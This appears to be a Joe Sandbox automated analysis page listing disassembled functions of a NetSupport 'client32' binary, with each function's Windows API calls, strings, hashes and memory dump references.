Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: d1a36058dcafd43632a995b00d63964de3846e5127b68f0cf164bd7fd6529456
Instruction ID: c1df3a49ef77ffe82b92d999ae27bd748b28a168d2cc7080f961c8e04f266e9b
Opcode Fuzzy Hash: d1a36058dcafd43632a995b00d63964de3846e5127b68f0cf164bd7fd6529456
Instruction Fuzzy Hash: F631A075D002169FDB15CF58C884B9EF7B8EB0576CF52466DEC21A7680DB30AA40CB93

Function 11021260 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32(?,?,11182200), ref: 110212D6
GetDlgItem.USER32(?,?), ref: 110212EA
SetFocus.USER32(00000000), ref: 110212ED
GetDlgItem.USER32(?,?), ref: 11021318
EnableWindow.USER32(00000000,00000000), ref: 1102131D

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\nsmdlg.h, xrefs: 11021301
m_hWnd, xrefs: 11021306

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Item$EnableFocusTextWindow
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\nsmdlg.h$m_hWnd
API String ID: 467963834-3304639117
Opcode ID: 3cc505f6fa39f18cb636a32da8b2f10ffb60bb9d01c7e8319a9f9713b2288b6a
Instruction ID: 0817eb63cdeeee23d12745cd5909b56861137a8bde73a4db9cb5005db0e53ffe
Opcode Fuzzy Hash: 3cc505f6fa39f18cb636a32da8b2f10ffb60bb9d01c7e8319a9f9713b2288b6a
Instruction Fuzzy Hash: 09216A76A00700AFD711DB55CC84F9BFBE9FB49714F408929F95697784C774A900CBA0

Function 1103D7F0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

ExtractIconA.SHELL32(00000000,?,00000000), ref: 1103D83C
SetDlgItemTextA.USER32(?,00000471,?), ref: 1103D854
DestroyCursor.USER32(00000000), ref: 1103D871
SetDlgItemTextA.USER32(?,00000471,00000000), ref: 1103D884
UpdateWindow.USER32(00000000), ref: 1103D8C2

Part of subcall function 1107C480: _strrchr.LIBCMT ref: 1107C48E

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 1103D8AC
m_hWnd, xrefs: 1103D8B1

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemText$CursorDestroyExtractIconUpdateWindow_strrchr
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 3726914545-1557312927
Opcode ID: 1c2e4270b89d1f92e4223b88513b542f8f80d8360a50bd76c529a1a7560ce8a3
Instruction ID: 110cd72dad802746724e554e61a36281017b722033c1a59c3057b23866efb7ab
Opcode Fuzzy Hash: 1c2e4270b89d1f92e4223b88513b542f8f80d8360a50bd76c529a1a7560ce8a3
Instruction Fuzzy Hash: CF21F3B9A50301BFE211AB75CC4AF9FF7E8AB85B05F108418F6599B2C0DBB0B4008764

Function 1114D210 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1114D21F
_memset.LIBCMT ref: 1114D23B
GetMenuItemID.USER32(?,00000000), ref: 1114D24C

Part of subcall function 11132220: _memset.LIBCMT ref: 11132249
Part of subcall function 11132220: GetVersionExA.KERNEL32(?), ref: 11132262

CheckMenuItem.USER32(?,00000000,00000000), ref: 1114D288
EnableMenuItem.USER32(?,00000000,00000000), ref: 1114D29E
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 1114D2B4

Strings

0, xrefs: 1114D245

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$_memset$CheckCountEnableInfoVersion
String ID: 0
API String ID: 176136580-4108050209
Opcode ID: 9b42af547c3b3f2de27c1a2824a71c6ae62b3914f0dc5bd063f9124c19224f7e
Instruction ID: 6978873c477c3921339f3242224bee586a119fd3f67b17aa56fa8a5c95e1a494
Opcode Fuzzy Hash: 9b42af547c3b3f2de27c1a2824a71c6ae62b3914f0dc5bd063f9124c19224f7e
Instruction Fuzzy Hash: 74216F71901219BBEF029BA4DD88FAFBBADEF59759F604025F801D6144E7B0DA00C760

Function 11123340 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 66libraryloadertimeCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,DwmEnableComposition), ref: 11123391
KillTimer.USER32(?,00000081,82E0FB89,75A33760,00000000,00000000,11178FC1,000000FF), ref: 111233D1
GlobalDeleteAtom.KERNEL32 ref: 111233ED
FreeLibrary.KERNEL32(?,?,82E0FB89,75A33760,00000000,00000000,11178FC1,000000FF), ref: 111233FE

Strings

DwmEnableComposition, xrefs: 1112338B
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 111233B6
m_hWnd, xrefs: 111233BB

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressAtomDeleteFreeGlobalKillLibraryProcTimer
String ID: DwmEnableComposition$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 239104392-1158585097
Opcode ID: ac4ce4fd3e0cbf1a108bfb6aaa5dbba282e11219c93081d954dc0a5653b48ec3
Instruction ID: 339d7fcd6c78bba5dbca9370eb91404beaec97e96fcf5122cf5d8dfe16e34f39
Opcode Fuzzy Hash: ac4ce4fd3e0cbf1a108bfb6aaa5dbba282e11219c93081d954dc0a5653b48ec3
Instruction Fuzzy Hash: 2C21D475A18715EFD721CF65C844B9AFBE8FB09718F10891DE8A683780DB74A540CB61

Function 11071330 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

GlobalAddAtomA.KERNEL32(NSMCoolbar), ref: 11071385
GetSysColor.USER32(0000000F), ref: 110713A3
GetSysColor.USER32(00000014), ref: 110713AA
GetSysColor.USER32(00000010), ref: 110713B1
GetSysColor.USER32(00000008), ref: 110713B8
GetSysColor.USER32(00000016), ref: 110713BF

Strings

NSMCoolbar, xrefs: 1107137D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$AtomGlobal_malloc_memsetwsprintf
String ID: NSMCoolbar
API String ID: 1237614650-4124301854
Opcode ID: 11a3e492c884ad001f6ac068dd0781362c712dc6c6d88ecbd5fc8d9c0d6a6434
Instruction ID: 08995c28d4e1244f6da182c4ab23949e1325013c8a7c5b32581c9b49482f3fa5
Opcode Fuzzy Hash: 11a3e492c884ad001f6ac068dd0781362c712dc6c6d88ecbd5fc8d9c0d6a6434
Instruction Fuzzy Hash: C1118EB1A00788AFE720CF65CC85B5AFBE4FB09758F404A3EE55587B80DB75E9008B94

Function 110AF260 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110AF2A6
GetFileVersionInfoSizeA.VERSION(?,?), ref: 110AF2BC
_malloc.LIBCMT ref: 110AF2C7

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

GetFileVersionInfoA.VERSION(?,?,00000000,00000000,?), ref: 110AF2E1
VerQueryValueA.VERSION(00000000,11187354,?,?,?,?,00000000,00000000,?), ref: 110AF2FA
_free.LIBCMT ref: 110AF30A

Part of subcall function 11151665: HeapFree.KERNEL32(00000000,00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115167B
Part of subcall function 11151665: GetLastError.KERNEL32(00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115168D

Strings

shdocvw.dll, xrefs: 110AF273

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileHeapInfoVersion$AllocateErrorFreeLastQuerySizeValue_free_malloc_memset
String ID: shdocvw.dll
API String ID: 2585106851-1755026807
Opcode ID: a5a6dc1371e67929e549317819ac0ef8421456fe4466c86a96cd17ec10c32abf
Instruction ID: 5eb31461ea1f50519f917a15bbfe73ab79f775fccf8d8aeefc1cc7a1de130f4a
Opcode Fuzzy Hash: a5a6dc1371e67929e549317819ac0ef8421456fe4466c86a96cd17ec10c32abf
Instruction Fuzzy Hash: E711937690412DABCB64CB54CC81EDEF378BF89708F1042EAE95957240EA706B84CF91

Function 1103D550 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 1103D566
FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103D57C
IsWindow.USER32(00000000), ref: 1103D584
Sleep.KERNEL32(00000014), ref: 1103D597
FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103D5A7
IsWindow.USER32(00000000), ref: 1103D5AF

Strings

PCIVideoSlave32, xrefs: 1103D577, 1103D59F

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Find$Sleep
String ID: PCIVideoSlave32
API String ID: 2137649973-2496367574
Opcode ID: 1703b4c4a5965f14d39e20ba58b4c881867a64bd66d0339c621bbb7f38325315
Instruction ID: 689c245a1c5877e120963c17b046aa8ad15570e82cb5b2dcf4060744f6f7f189
Opcode Fuzzy Hash: 1703b4c4a5965f14d39e20ba58b4c881867a64bd66d0339c621bbb7f38325315
Instruction Fuzzy Hash: C4F0A4B39012296FDB01DFB9CCC8F8EB7E9AB44AA9F414175F918E7188E230E4014B71

Function 11003360 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFF), ref: 1100336E
GetSubMenu.USER32(00000000,00000000), ref: 1100339A
GetSubMenu.USER32(00000000,00000000), ref: 110033BC
DestroyMenu.USER32(00000000), ref: 110033CA

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

hSub, xrefs: 110033AC
..\CTL32\annotate.cpp, xrefs: 1100337F, 110033A7
hMenu, xrefs: 11003384

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 370a918c1ffef44c6d2a1e7988c1972a9a3e997084686a8955a4fd91555efcf8
Instruction ID: d55ef711f20a90ce7b89774d5e68305bce48b38f183b762cf5caec9f28e3c4fe
Opcode Fuzzy Hash: 370a918c1ffef44c6d2a1e7988c1972a9a3e997084686a8955a4fd91555efcf8
Instruction Fuzzy Hash: C9F0E97BE4066277D51351A59C85F9FF7D8DB966EEF048031F604F6280EB50A80041F5

Function 11003270 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF9), ref: 1100327D
GetSubMenu.USER32(00000000,00000000), ref: 110032A3
GetMenuItemCount.USER32(00000000), ref: 110032C7
DestroyMenu.USER32(00000000), ref: 110032D9

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

hSub, xrefs: 110032B9
..\CTL32\annotate.cpp, xrefs: 1100328E, 110032B4
hMenu, xrefs: 11003293

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$CountDestroyErrorExitItemLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 4241058051-934300333
Opcode ID: 9d6183a6848e5764ebbed8253b940d7be87a8ceda2fe17ff10de54b997e3a651
Instruction ID: 1ec89cdccd47366b5ee8b19df69f8a376e0222ab7e63b8b8b85f6a37c90a799a
Opcode Fuzzy Hash: 9d6183a6848e5764ebbed8253b940d7be87a8ceda2fe17ff10de54b997e3a651
Instruction Fuzzy Hash: 80F0E93AE445627BD5135265AC09FCFF6D4DB966AEF048030F400E5245EA10640085F1

Function 1104B627 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 167windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 1104B83D
PostMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1104B84E

Strings

ReconnectDelay, xrefs: 1104B76E
10.21.0.0, xrefs: 1104B793
Client, xrefs: 1104B773
Disconnect(%p), closing player, xrefs: 1104B711

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePostWindow
String ID: 10.21.0.0$Client$Disconnect(%p), closing player$ReconnectDelay
API String ID: 3618638489-3222940297
Opcode ID: de6374e47233d955090eb4c934b1f2018db41b985611608a11f03de94963f4d7
Instruction ID: fdd7292e2912fe1eae46148bd9e15f8ec271a2e4496cdee647683204071506ce
Opcode Fuzzy Hash: de6374e47233d955090eb4c934b1f2018db41b985611608a11f03de94963f4d7
Instruction Fuzzy Hash: 21516F79A05A029FDBD4DFA1CCC8FAAB364AF4530CF1845B8ED194F286DA75A800C761

Function 110B3130 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 161windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 110B3223
AppendMenuA.USER32(?,00000010,00000000,?), ref: 110B3236

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Part of subcall function 110C5870: _free.LIBCMT ref: 110C589D

Strings

IsA(), xrefs: 110B318C, 110B31C4, 110B31EA, 110B3210, 110B3262, 110B3288
e:\nsmsrc\nsm\1201\1201f2\ctl32\IEFavourites.h, xrefs: 110B3187, 110B31E5, 110B320B, 110B325D, 110B3283
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 110B31BF

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
